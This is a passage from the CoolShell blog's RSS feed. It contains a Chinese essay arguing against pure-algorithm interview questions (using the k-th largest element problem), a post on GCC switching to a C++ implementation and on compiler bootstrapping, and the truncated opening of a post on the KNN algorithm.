isPermaLink=\"false\">http://coolshell.cn/?p=8138</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>算法面试可能是微软搞出来的面试方法，现在很多公司都在效仿，而且我们的程序员也乐于解算法题，我个人以为，这是应试教育的毒瘤！我在《再谈“我是怎么招程序员”》中比较...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/8138.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/8138.html\">为什么我反对纯算法面试题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>算法面试可能是微软搞出来的面试方法，现在很多公司都在效仿，而且我们的程序员也乐于解算法题，我个人以为，这是应试教育的毒瘤！我在《<a title=\"再谈“我是怎么招聘程序员的”（上）\" href=\"https://coolshell.cn/articles/4506.html\">再谈“我是怎么招程序员”</a>》中比较保守地说过，“<strong>问难的算法题并没有错，错的很多面试官只是在肤浅甚至错误地理解着面试算法题的目的</strong>。”，今天，我想加强一下这个观点——<strong>我反对纯算法题面试</strong>！（注意，我说的是纯算法题）</p>\n<figure id=\"attachment_8140\" aria-describedby=\"caption-attachment-8140\" style=\"width: 250px\" class=\"wp-caption alignright\"><a href=\"http://en.wikipedia.org/wiki/Sheldon_Cooper\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-8140\" title=\"Sheldon_Cooper\" src=\"https://coolshell.cn/wp-content/uploads/2012/08/250px-Sheldon_Cooper.jpg\" alt=\"\" width=\"250\" height=\"333\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/08/250px-Sheldon_Cooper.jpg 250w, https://coolshell.cn/wp-content/uploads/2012/08/250px-Sheldon_Cooper-225x300.jpg 225w, https://coolshell.cn/wp-content/uploads/2012/08/250px-Sheldon_Cooper-203x270.jpg 203w\" sizes=\"(max-width: 250px) 100vw, 250px\" /></a><figcaption id=\"caption-attachment-8140\" class=\"wp-caption-text\">图片源Wikipedia（点击图片查看词条）</figcaption></figure>\n<p>我再次引用我以前的一个观点——</p>\n<p style=\"padding-left: 30px;\">能解算法题并不意味着这个人就有能力就能在工作中解决问题，你可以想想，小学奥数题可能比这些题更难，但并不意味着那些奥数能手就能解决实际问题。</p>\n<p>好了，让我们来看一个示例（这个示例是昨天在<a href=\"http://weibo.com/1401880315/yy9pvgNi2\" target=\"_blank\">微博上的一个讨论</a>），这个题是——“<strong>找出无序数组中第2大的数</strong>”，几乎所有的人都用了O(n)的算法，我相信对于我们这些应试教育出来的人来说，不用排序用O(n)算法是很正常的事，连我都不由自主地认为O(n)算法是这个题的标准答案。<strong>我们太习惯于标准答案了，这是我国教育最悲哀的地方</strong>。（广义的洗脑就是让你的意识依赖于某个标准答案，然后通过给你标准答案让你不会思考而控制你）</p>\n<h4>功能性需求分析</h4>\n<p>试想，如果我们在实际工作中得到这样一个题 我们会怎么做？我一定会分析这个需求，因为我害怕需求未来会改变，今天你叫我找一个第2大的数，明天你找我找一个第4大的数，后天叫我找一个第100大的数，我不搞死了。需求变化是很正常的事。分析完这个需求后，我会很自然地去写找第K大数的算法——难度一下子就增大了。</p>\n<p><span id=\"more-8138\"></span></p>\n<p>很多人会以为找第K大的需求是一种“过早扩展”的思路，不是这样的，我相信我们在实际编码中写过太多这样的程序了，你一定不会设计出这样的函数接口—— Find2ndMaxNum(int* array, int len)，就好像你不会设计出 DestroyBaghdad(); 这样的接口，而是设计一个DestoryCity( City&amp; ); 的接口，而把Baghdad当成参数传进去！所以，你应该是声明一个叫FindKthMaxNum(int* array, int len, int kth)，把2当成参数传进去。<strong>这是最基本的编程方法，用数学的话来说，叫代数</strong>！最简单的需求分析方法就是把需求翻译成函数名，然后看看是这个接口不是很二？！</p>\n<p>（注：不要纠结于FindMaxNum()或FindMinNum()，因为这两个函数名的业务意义很清楚了，不像Find2ndMaxNum()那么二）</p>\n<h4>非功能性需求分析</h4>\n<p>性能之类的东西从来都是非功能性需求，对于算法题，我们太喜欢研究算法题的空间和时间复杂度了。我们希望做到空间和时间双丰收，这是算法学术界的风格。所以，<strong>习惯于标准答案的我们已经失去思考的能力，只会机械地思考算法之内的性能，而忽略了算法之外的性能</strong>。</p>\n<p>如果题目是——“从无序数组中找到第K个最大的数”，那么，我们一定会去思考用O(n)的线性算法找出第K个数。事实上，也有线性算法——STL中可以用nth_element求得类似的第n大的数，其利用快速排序的思想，从数组S中随机找出一个元素X，把数组分为两部分Sa和Sb。Sa中的元素大于等于X，Sb中元素小于X。这时有两种情况：1）Sa中元素的个数小于k，则Sb中的第k-|Sa|个元素即为第k大数；2） Sa中元素的个数大于等于k，则返回Sa中的第k大数。时间复杂度近似为O(n)。</p>\n<p>搞学术的nuts们到了这一步一定会欢呼胜利！但是他们哪里能想得到性能的需求分析也是来源自业务的！</p>\n<p><strong>我们一说性能，基本上是个人都会问，请求量有多大？如果我们的FindKthMaxNum()的请求量是m次，那么你的这个每次都要O(n)复杂度的算法得到的效果就是O(n*m)，这一点，是书呆子式的学院派人永远想不到的。</strong>因为应试教育让我们不会从实际思考了。</p>\n<h4>工程式的解法</h4>\n<p>根据上面的需求分析，有软件工程经验的人的解法通常会这样：</p>\n<p style=\"padding-left: 30px;\">1）把数组排序，从大到小。</p>\n<p style=\"padding-left: 30px;\">2）于是你要第k大的数，就直接访问 array[k]。</p>\n<p>排序只需要一次，O(n*log(n))，然后，接下来的m次对FindKthMaxNum()的调用全是O(1)的，整体复杂度反而成了线性的。</p>\n<p>其实，上述的还不是工程式的最好的解法，因为，在业务中，那数组中的数据可能会是会变化的，所以，如果是用数组排序的话，有数据的改动会让我重新排序，这个太耗性能了，如果实际情况中会有很多的插入或删除操作，那么可以考虑使用B+树。</p>\n<p>工程式的解法有以下特点：</p>\n<p style=\"padding-left: 30px;\">1）很方便扩展，因为数据排好序了，你还可以方便地支持各种需求，如从第k1大到k2大的数据（那些学院派写出来的代码在拿到这个需求时又开始挠头苦想了）</p>\n<p style=\"padding-left: 30px;\">2）规整的数据会简化整体的算法复杂度，从而整体性能会更好。（公欲善其事，必先利其器）</p>\n<p style=\"padding-left: 30px;\">3）代码变得清晰，易懂，易维护！（学院派的和STL一样的近似O(n)复杂度的算法没人敢动）</p>\n<h4>争论</h4>\n<p>你可能会和我有以下争论，</p>\n<ul>\n<li><strong>如果程序员做这个算法题用排序的方式，他一定不会像你想那么多</strong>。是的，你说得对。但是我想说，很多时候，我们直觉地思考，恰恰是正确的路。因为“排序”这个思路符合人类大脑处理问题的方式，而使用学院派的方式是反大脑直觉的。反大脑直觉的，通常意味着晦涩难懂，维护成本上升。</li>\n</ul>\n<ul>\n<li><strong>就是一道面试题，我就是想测试一下你的算法技能，这也扯太多了</strong>。没问题，不过，我们要清楚我们是在招什么人？是一个只会写算法的人，还是一个会做软件的人？这个只有你自己最清楚。</li>\n</ul>\n<ul>\n<li><strong>这个算法题太容易诱导到学院派的思路了</strong>。是的这道“找出第K大的数”，其实可以变换为更为业务一点的题目——“<strong>我要和别的商户竞价，我想排在所有竞争对手报价的第K名，请写一个程序，我输入K，和一个商品名，系统告诉我应该订多少价？</strong>（商家的所有商品的报价在一数组中）”——业务分析，整体性能，算法，数据结构，增加需求让应聘者重构，这一个问题就全考了。</li>\n</ul>\n<ul>\n<li><strong><span style=\"color: #ff0000;\">你是不是在说算法不重要，不用学？</span></strong>千万别这样理解我，搞得好像如果面试不面，我就可以不学。<strong>算法很重要，算法题能锻炼我们的思维，而且也有很多实际用处</strong>。我这篇文章不是让大家不要去学算法，这是完全错误的，我是让大家带着业务问题去使用算法。问你业务问题，一样会问到算法题上来。</li>\n</ul>\n<h4>小结</h4>\n<p>看过这上面的分析，我相信你明白我为什么反对纯算法面试题了。原因就是<strong>纯算法的面试题根本不能反应一个程序的综合素质</strong>！</p>\n<p>那么，在面试中，我们应该要考量程序员的那些综合素质呢？我以为有下面这些东西：</p>\n<ol>\n<li>会不会做需求分析？怎么理解问题的？</li>\n<li>解决问题的思路是什么？想法如何？</li>\n<li>会不会对基础的算法和数据结构灵活运用？</li>\n</ol>\n<p>另外，我们知道，对于软件开发来说，在工程上，难是的下面是这些挑战：</p>\n<ul>\n<li>软件的维护成本远远大于软件的开发成本。</li>\n<li>软件的质量变得越来越重要，所以，测试工作也变得越来越重要。</li>\n<li>软件的需求总是在变的，软件的需求总是一点一点往上加的。</li>\n<li>程序中大量的代码都是在处理一些错误的或是不正常的流程。</li>\n</ul>\n<p>所以，对于编程能力上，我们应该主要考量程序员的如下能力：</p>\n<ol>\n<li>设计是否满足对需求的理解，并可以应对可能出现的需求变化。</li>\n<li>程序是否易读，易维护？</li>\n<li>重构代码的能力如何？</li>\n<li>会不会测试自己写好的程序？</li>\n</ol>\n<p>所以，这段时间，我越来越倾向于问应聘者一些有业务意义的题，而且应增加或更改需求来看程序员的重构代码的能力，写完程序后，让应聘者设计测试案例。</p>\n<p>比如：解析加减乘除表达式，字符串转数字，洗牌程序，口令生成器，通过ip地址找地点，英汉词典双向检索……</p>\n<p><strong>总之，我反对纯算法面试题！</strong></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/8790.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/12/choice-150x150.jpg\" alt=\"程序算法与人生选择\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8790.html\" class=\"wp_rp_title\">程序算法与人生选择</a></li><li ><a href=\"https://coolshell.cn/articles/4976.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"给程序员新手的一些建议\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4976.html\" class=\"wp_rp_title\">给程序员新手的一些建议</a></li><li ><a href=\"https://coolshell.cn/articles/4506.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"再谈“我是怎么招聘程序员的”（上）\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4506.html\" class=\"wp_rp_title\">再谈“我是怎么招聘程序员的”（上）</a></li><li ><a href=\"https://coolshell.cn/articles/4490.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"再谈“我是怎么招聘程序员的”（下）\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4490.html\" class=\"wp_rp_title\">再谈“我是怎么招聘程序员的”（下）</a></li><li ><a href=\"https://coolshell.cn/articles/3345.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/12/googlequestion-150x150.jpg\" alt=\"140个Google的面试题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3345.html\" class=\"wp_rp_title\">140个Google的面试题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8138.html\">为什么我反对纯算法面试题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/8138.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>181</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>GCC 用 C++ 来编译</title>\n\t\t<link>https://coolshell.cn/articles/8115.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/8115.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 20 Aug 2012 00:40:04 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[bootstrapping]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Compiler]]></category>\n\t\t<category><![CDATA[GNU]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=8115</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>GCC在2012年8月15日的时候，merge了一个patch &#8211; Merge from cxx-conversion branch，这意味着，以后...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/8115.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/8115.html\">GCC 用 C++ 来编译</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>GCC在2012年8月15日的时候，merge了一个patch &#8211; <a href=\"http://gcc.gnu.org/git/?p=gcc.git;a=commitdiff;h=2b15d2ba7eb3a25dfb15a7300f4ee7a141ee8539\" target=\"_blank\">Merge from cxx-conversion branch</a>，这意味着，以后在GCC的编译只能用C++的编译器了，也意味着，gcc的实现代码开始转向C++了。</p>\n<p>你可能会有两个问题，</p>\n<ul>\n<li>一个问题是为什么GCC要转成C++的实现？</li>\n</ul>\n<ul>\n<li>没有C++的编译器，我怎么编译C++编译器的代码？这不是“鸡生蛋还是蛋生鸡”的问题么？</li>\n</ul>\n<p>那，我们来看一看吧。</p>\n<h4>为什么要用C++</h4>\n<p>在<a href=\"http://gcc.gnu.org/wiki/cxx-conversion\" target=\"_blank\">GNU的C++ Conversion文档</a>中，我们可以在Background中看到这样的描述：</p>\n<blockquote><p>Whether we use C or C++, we need to try to ensure that interfaces are easy to understand, that the code is reasonably modular, that the internal documentation corresponds to the code, that it is possible for new developers to write new passes and to fix bugs. Those are the important issues for us to consider. The C++ features which are not present in C &#8212; features which are well documented in many books and many web sites &#8212; are not an important issue.</p></blockquote>\n<p>这句话的意思可以理解为，今天GCC在用C语言的实现已经有点hold不住了，因为，开发人员觉得，不管我们用C或C++，都需要努力确保接口是容易理解的，这样我们的代码是想当理性地被模块化的，这样内部文档和代码一致，这样可以更好地组织代码，这样有利于新人了fix-bug。而C++正好可以让他们更好的完成这些东西。</p>\n<p>GNU还给出了下面这些理由：</p>\n<p><span id=\"more-8115\"></span></p>\n<ul>\n<li>C++ 是一种标准化的，大众的，流行的语言。</li>\n<li>C++ 是C90的超集。</li>\n<li>C++作为C的扩展和C在性能上一样好。</li>\n<li>C++ 在一些有意义的案例上支持更干净的代码。</li>\n<li>C++ 让你更容易去写一个更干净的接口。</li>\n<li>C++ 永远不会让你的代码变得更丑。</li>\n<li>C++ 不是万灵药，他是C的一个改进。</li>\n</ul>\n<p>然后，给了一个PDF <a href=\"http://airs.com/ian/cxx-slides.pdf\">http://airs.com/ian/cxx-slides.pdf</a>，这是Google 的<a href=\"http://airs.com/ian/\" target=\"_blank\"> Ian Lance Taylor</a>的的一个PPT，这个文档可以让大家更好地理解我在《<a title=\"C++的坑真的多吗？\" href=\"https://coolshell.cn/articles/7992.html\" target=\"_blank\">C++的坑多吗？</a>》一文中那些观点。<strong>我都不知道我要说多少遍C++的封装，继承和多态比C语言在代码组织上要好得多得多</strong>。大家还是自己看一下代码吧：</p>\n<p><strong><span style=\"color: #800000;\">数据结构的操作</span> —— </strong>你写的一定不会有STL好</p>\n<p style=\"padding-left: 30px;\"><strong><a href=\"https://coolshell.cn/wp-content/uploads/2012/08/VEC-vs-vector.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-8119 alignnone\" title=\"VEC vs vector\" src=\"https://coolshell.cn/wp-content/uploads/2012/08/VEC-vs-vector.jpg\" alt=\"\" width=\"542\" height=\"343\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/08/VEC-vs-vector.jpg 542w, https://coolshell.cn/wp-content/uploads/2012/08/VEC-vs-vector-300x190.jpg 300w, https://coolshell.cn/wp-content/uploads/2012/08/VEC-vs-vector-427x270.jpg 427w\" sizes=\"(max-width: 542px) 100vw, 542px\" /></a></strong></p>\n<p><span style=\"color: #800000;\"><strong>结构套结构还是继承？</strong></span></p>\n<p style=\"padding-left: 30px;\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/08/tree-structure.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\" wp-image-8118 alignnone\" title=\"tree-structure\" src=\"https://coolshell.cn/wp-content/uploads/2012/08/tree-structure.jpg\" alt=\"\" width=\"629\" height=\"550\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/08/tree-structure.jpg 699w, https://coolshell.cn/wp-content/uploads/2012/08/tree-structure-300x262.jpg 300w\" sizes=\"(max-width: 629px) 100vw, 629px\" /></a></p>\n<p><span style=\"color: #800000;\"><strong>函数指针还是多态？</strong></span></p>\n<div style=\"padding-left: 30px;\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/08/TARGET-vs-Target.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\" wp-image-8117 alignnone\" title=\"TARGET vs Target\" src=\"https://coolshell.cn/wp-content/uploads/2012/08/TARGET-vs-Target.jpg\" alt=\"\" width=\"391\" height=\"470\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/08/TARGET-vs-Target.jpg 489w, https://coolshell.cn/wp-content/uploads/2012/08/TARGET-vs-Target-249x300.jpg 249w\" sizes=\"(max-width: 391px) 100vw, 391px\" /></a></div>\n<p><span style=\"color: #800000;\"><strong>垃圾回收 还是 智能指针？</strong></span></p>\n<div style=\"padding-left: 30px;\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/08/GC-vs-Smart-Pointer.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"wp-image-8116 alignnone\" title=\"GC vs Smart Pointer\" src=\"https://coolshell.cn/wp-content/uploads/2012/08/GC-vs-Smart-Pointer.jpg\" alt=\"\" width=\"473\" height=\"337\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/08/GC-vs-Smart-Pointer.jpg 676w, https://coolshell.cn/wp-content/uploads/2012/08/GC-vs-Smart-Pointer-300x213.jpg 300w\" sizes=\"(max-width: 473px) 100vw, 473px\" /></a></div>\n<p><span style=\"color: #800000;\"><strong>Why not C++? </strong></span></p>\n<ul>\n<li><strong>C++慢吗</strong>？某些特性会慢，但是有时C++更快，你可以只用你喜欢的C++特性。</li>\n<li><strong>C++复杂吗？</strong>它只不过是另一种编程语言，他可以让你对程序员维护更简单。</li>\n<li><strong>FSF不喜欢C++！</strong>因为FSF（自由软件基金会）这些人不写代码。</li>\n</ul>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2012/08/Why-not-C++.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter  wp-image-8120\" title=\"Why not C++\" src=\"https://coolshell.cn/wp-content/uploads/2012/08/Why-not-C++.jpg\" alt=\"\" width=\"478\" height=\"418\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/08/Why-not-C++.jpg 683w, https://coolshell.cn/wp-content/uploads/2012/08/Why-not-C++-300x262.jpg 300w\" sizes=\"(max-width: 478px) 100vw, 478px\" /></a></p>\n<div></div>\n<h4>Bootstrapping</h4>\n<p>最后，我想来介绍一下<a href=\"http://en.wikipedia.org/wiki/Bootstrapping_%28compilers%29\" target=\"_blank\">Bootstrapping</a>。 所谓Bootstrapping，就是用自己这个语言写编译器来编译自己，也就是说如果你要编译gcc，你需要用一个c的编译器来编译之，这个就是bootstrapped process，自举过程。包括 <a title=\"BASIC\" href=\"http://en.wikipedia.org/wiki/BASIC\">BASIC</a>, <a title=\"Algol\" href=\"http://en.wikipedia.org/wiki/Algol\">Algol</a>, <a title=\"C (programming language)\" href=\"http://en.wikipedia.org/wiki/C_(programming_language)\">C</a>, <a title=\"C++\" href=\"http://en.wikipedia.org/wiki/C%2B%2B\">C++</a>, <a title=\"Pascal programming language\" href=\"http://en.wikipedia.org/wiki/Pascal_programming_language\">Pascal</a>, <a title=\"PL/I\" href=\"http://en.wikipedia.org/wiki/PL/I\">PL/I</a>, <a title=\"Factor programming language\" href=\"http://en.wikipedia.org/wiki/Factor_programming_language\">Factor</a>, <a title=\"Haskell (programming language)\" href=\"http://en.wikipedia.org/wiki/Haskell_(programming_language)\">Haskell</a>, <a title=\"Modula-2\" href=\"http://en.wikipedia.org/wiki/Modula-2\">Modula-2</a>, <a title=\"Oberon programming language\" href=\"http://en.wikipedia.org/wiki/Oberon_programming_language\">Oberon</a>, <a title=\"OCaml\" href=\"http://en.wikipedia.org/wiki/OCaml\">OCaml</a>,<a title=\"Common Lisp\" href=\"http://en.wikipedia.org/wiki/Common_Lisp\">Common Lisp</a>, <a title=\"Scheme (programming language)\" href=\"http://en.wikipedia.org/wiki/Scheme_(programming_language)\">Scheme</a>, <a title=\"Java (programming language)\" href=\"http://en.wikipedia.org/wiki/Java_(programming_language)\">Java</a>, <a title=\"Python (programming language)\" href=\"http://en.wikipedia.org/wiki/Python_(programming_language)\">Python</a>, <a title=\"Scala (programming language)\" href=\"http://en.wikipedia.org/wiki/Scala_(programming_language)\">Scala</a> 等语言都这么干。</p>\n<p>这样干的好处主要是，自己可以测试自己，编译器的改善和语言的改善相辅相成。</p>\n<p>但是，这是一个“鸡生蛋，还是蛋生鸡”的问题，如果你需要用X语言来写一个X语言编译器的语言，你可以这样干：</p>\n<ul>\n<li>用Y语言来实现X的语言解释器或编译器。 <a title=\"Niklaus Wirth\" href=\"http://en.wikipedia.org/wiki/Niklaus_Wirth\">Niklaus Wirth</a> 说 <a title=\"Pascal programming language\" href=\"http://en.wikipedia.org/wiki/Pascal_programming_language\">Pascal</a> 的第一个编译器是由 <a title=\"Fortran\" href=\"http://en.wikipedia.org/wiki/Fortran\">Fortran</a> 写的。</li>\n<li>已存在用Y语言写的X语言的编译器或解释器。<a title=\"Scheme (programming language)\" href=\"http://en.wikipedia.org/wiki/Scheme_(programming_language)\">Scheme</a> 就是这么干的。</li>\n<li>已经有一个编译器来编译一个早期版本的X语言，然后就可以用早期版本的X语言来编译新版本的X语言了。<a title=\"Java (programming language)\" href=\"http://en.wikipedia.org/wiki/Java_(programming_language)\">Java</a>，<a title=\"Haskell (programming language)\" href=\"http://en.wikipedia.org/wiki/Haskell_(programming_language)\">Haskell</a>, 和最初版的 <a title=\"Free Pascal\" href=\"http://en.wikipedia.org/wiki/Free_Pascal\">Free Pascal</a> 就是这么干的。</li>\n<li>X在某平台上的编译器已经存在，可以使用交叉编译技术来编译另一个平台上X语言，C语言就是这么干的。</li>\n<li>用X语言写一个编译器，然后手动编译之（不需要特别优化），（注：手动编译估计就是手动翻译成机器汇编代码），然后再运行这个手动编译的编译器来编译这个编译器的源码，并优化之。<a title=\"Donald Knuth\" href=\"http://en.wikipedia.org/wiki/Donald_Knuth\">Donald Knuth</a> 在他的 <a title=\"WEB\" href=\"http://en.wikipedia.org/wiki/WEB\">WEB</a> <a title=\"Literate programming\" href=\"http://en.wikipedia.org/wiki/Literate_programming\">literate programming</a> 系统里用到了这个方法。</li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8115.html\">GCC 用 C++ 来编译</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/8115.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>41</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>K Nearest Neighbor 算法</title>\n\t\t<link>https://coolshell.cn/articles/8052.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/8052.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 17 Aug 2012 00:15:30 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[Algorithm]]></category>\n\t\t<category><![CDATA[Data Mining]]></category>\n\t\t<category><![CDATA[KNN]]></category>\n\t\t<category><![CDATA[Max Heap]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=8052</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>K Nearest Neighbor算法又叫KNN算法，这个算法是机器学习里面一个比较经典的算法， 总体来说KNN算法是相对比较容易理解的算法。其中的K表示最接...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/8052.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/8052.html\">K Nearest Neighbor 算法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>K Nearest Neighbor算法又叫KNN算法，这个算法是机器学习里面一个比较经典的算法， 